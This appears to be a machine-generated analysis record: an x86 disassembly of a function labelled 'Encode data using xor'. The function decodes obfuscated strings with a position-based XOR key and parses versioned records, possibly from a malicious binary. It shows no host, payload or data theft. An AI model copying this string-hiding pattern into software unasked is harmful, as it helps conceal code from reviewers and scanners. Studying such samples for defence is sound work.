Function at 0x402c36
Capabilities:
Encode data using xor

Disassembly:
push 0x164
mov eax, 0x42ce93
call fcn.0041992a
mov dword [ebp - 4], 2
xor ecx, ecx
mov eax, dword [str.SBJ4]
mov dword [ebp - 0x104], eax
mov al, byte [0x438028]
push 0x35
mov byte [ebp - 0x100], al
pop edi
xor edx, edx
mov eax, ecx
div edi
add dl, 0x30
xor byte [ebp + ecx - 0x104], dl
inc ecx
cmp ecx, 5
jl 0x402c67
lea eax, [ebp - 0x104]
push eax
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0xf8]
call fcn.004044fb
pop ecx
push 0x48
mov byte [ebp - 4], 3
call fcn.00418fbb
mov esi, eax
pop ecx
mov dword [ebp - 0x104], esi
push 0x48
push 0
push esi
mov byte [ebp - 4], 4
call fcn.0041ad40
sub esp, 0xc
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.004042cc
lea eax, [ebp - 0xf9]
mov ecx, esi
push eax
call fcn.004027df
mov ebx, eax
mov byte [ebp - 4], 3
cmp byte [ebp - 0xf9], 0
mov dword [ebp - 0x104], ebx
je 0x403099
mov ecx, dword [str.S_X_PE7XWQUZjbKHexJ]
mov edx, dword [0x43832c]
mov dword [ebp - 0x110], ecx
xor ecx, ecx
mov dword [ebp - 0x10c], edx
xor edx, edx
mov eax, ecx
div edi
add dl, 0x30
xor byte [ebp + ecx - 0x110], dl
inc ecx
cmp ecx, 8
jl 0x402d04
sub esp, 0x18
lea eax, [ebp - 0x110]
mov ecx, esp
push eax
call fcn.00404293
mov ecx, ebx
call fcn.0041071c
test al, al
je 0x403099
inc dword [0x4407d0]
lea edi, [ebp - 0x50]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov byte [ebp - 4], 5
xor edi, edi
mov eax, dword [ebx + 0x3c]
sub eax, dword [ebx + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
test eax, eax
jle 0x403091
inc dword [0x4407c8]
lea eax, [ebp - 0x2c]
push 5
push edi
push eax
mov ecx, ebx
call fcn.00410a5d
mov byte [ebp - 4], 6
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
cmova eax, dword [ebp - 0x2c]
seta cl
cmp byte [eax], 0x76
jne 0x402dc1
test cl, cl
lea eax, [ebp - 0x2c]
cmovne eax, dword [ebp - 0x2c]
cmp byte [eax + 1], 0x31
jne 0x402dc1
lea eax, [ebp + 0x38]
push eax
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x128]
call fcn.004021b2
pop ecx
jmp 0x402ddd
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.004042cc
lea ecx, [ebp - 0x128]
call fcn.004028a1
add esp, 0x18
push eax
lea ecx, [ebp - 0x50]
call fcn.00404225
lea ecx, [ebp - 0x128]
call fcn.004025e6
push 1
push edi
lea eax, [ebp - 0x80]
mov ecx, ebx
push eax
call fcn.00410a5d
push 6
push edi
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 7
push eax
mov ecx, ebx
call fcn.00410a5d
push 7
push edi
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 8
push eax
mov ecx, ebx
call fcn.00410a5d
push 3
push edi
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 9
push eax
mov ecx, ebx
call fcn.00410a5d
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x140]
mov edx, dword [0x4407d0]
call fcn.00402778
mov esi, eax
push 0x437f90
lea edx, [ebp + 8]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x170]
call fcn.004044fb
pop ecx
push esi
push eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x128]
push dword [ebp - 0x103]
call fcn.00404861
push 1
push 0x437f8c
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0xd
call fcn.00404497
push eax
lea ecx, [ebp - 0x68]
call fcn.0040425a
mov byte [ebp - 4], 0xe
xor ecx, ecx
mov eax, dword [0x438038]
mov dword [ebp - 0x110], eax
mov al, byte [0x43803c]
push 0x35
mov byte [ebp - 0x10c], al
pop esi
xor edx, edx
mov eax, ecx
div esi
add dl, 0x30
xor byte [ebp + ecx - 0x110], dl
inc ecx
cmp ecx, 5
jl 0x402ec2
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x68]
call fcn.00404840
push eax
lea ecx, [ebp - 0x98]
call fcn.0040425a
lea ecx, [ebp - 0x68]
call fcn.004025e6
lea ecx, [ebp - 0x128]
call fcn.004025e6
lea ecx, [ebp - 0x170]
call fcn.004025e6
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 0x13
call fcn.004025e6
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0xb0]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0xe0]
push eax
lea edx, [ebp - 0x80]
lea ecx, [ebp - 0x158]
call fcn.00404a6d
add esp, 0x10
push eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0x14
push eax
mov ecx, 0x440894
call fcn.0040cc61
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 0x13
call fcn.004025e6
sub esp, 0x18
mov ecx, esp
push 0x440dd8
call fcn.004042cc
push 0x7e
pop edx
lea ecx, [ebp - 0x158]
call fcn.004075bc
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x38]
call fcn.004070a0
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 0x17
call fcn.004025e6
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
cmp esi, eax
je 0x403034
mov ebx, eax
push esi
lea ecx, [ebp - 0x68]
call fcn.004042cc
push 0
lea eax, [ebp - 0x68]
mov byte [ebp - 4], 0x18
push eax
lea ecx, [ebp - 0x80]
call fcn.004041f1
cmp eax, 0xffffffff
je 0x40301b
push 0
lea eax, [ebp - 0x68]
mov ecx, 0x43f900
push eax
call fcn.004041f1
cmp eax, 0xffffffff
jne 0x40301b
push 0x437f94
lea edx, [ebp - 0x68]
lea ecx, [ebp - 0x140]
call fcn.004044fb
pop ecx
push eax
mov ecx, 0x43f900
mov byte [ebp - 4], 0x19
call fcn.0040441b
lea ecx, [ebp - 0x140]
call fcn.004025e6
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x17
call fcn.004025e6
add esi, 0x18
cmp esi, ebx
jne 0x402fb8
mov ebx, dword [ebp - 0x104]
lea ecx, [ebp - 0x38]
call fcn.0040438d
lea ecx, [ebp - 0x98]
call fcn.004025e6
lea ecx, [ebp - 0xb0]
call fcn.004025e6
lea ecx, [ebp - 0xc8]
call fcn.004025e6
lea ecx, [ebp - 0xe0]
call fcn.004025e6
lea ecx, [ebp - 0x80]
call fcn.004025e6
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.004025e6
mov eax, dword [ebx + 0x3c]
inc edi
sub eax, dword [ebx + 0x38]
push 0xc
cdq
pop ecx
idiv ecx
cmp edi, eax
jl 0x402d72
lea ecx, [ebp - 0x50]
call fcn.004025e6
test ebx, ebx
je 0x4030ae
mov ecx, ebx
call fcn.004030d7
push 0x48
push ebx
call fcn.00418feb
pop ecx
pop ecx
lea ecx, [ebp - 0xf8]
call fcn.004025e6
lea ecx, [ebp + 8]
call fcn.004025e6
lea ecx, [ebp + 0x20]
call fcn.004025e6
lea ecx, [ebp + 0x38]
call fcn.004025e6
call fcn.004198d9
ret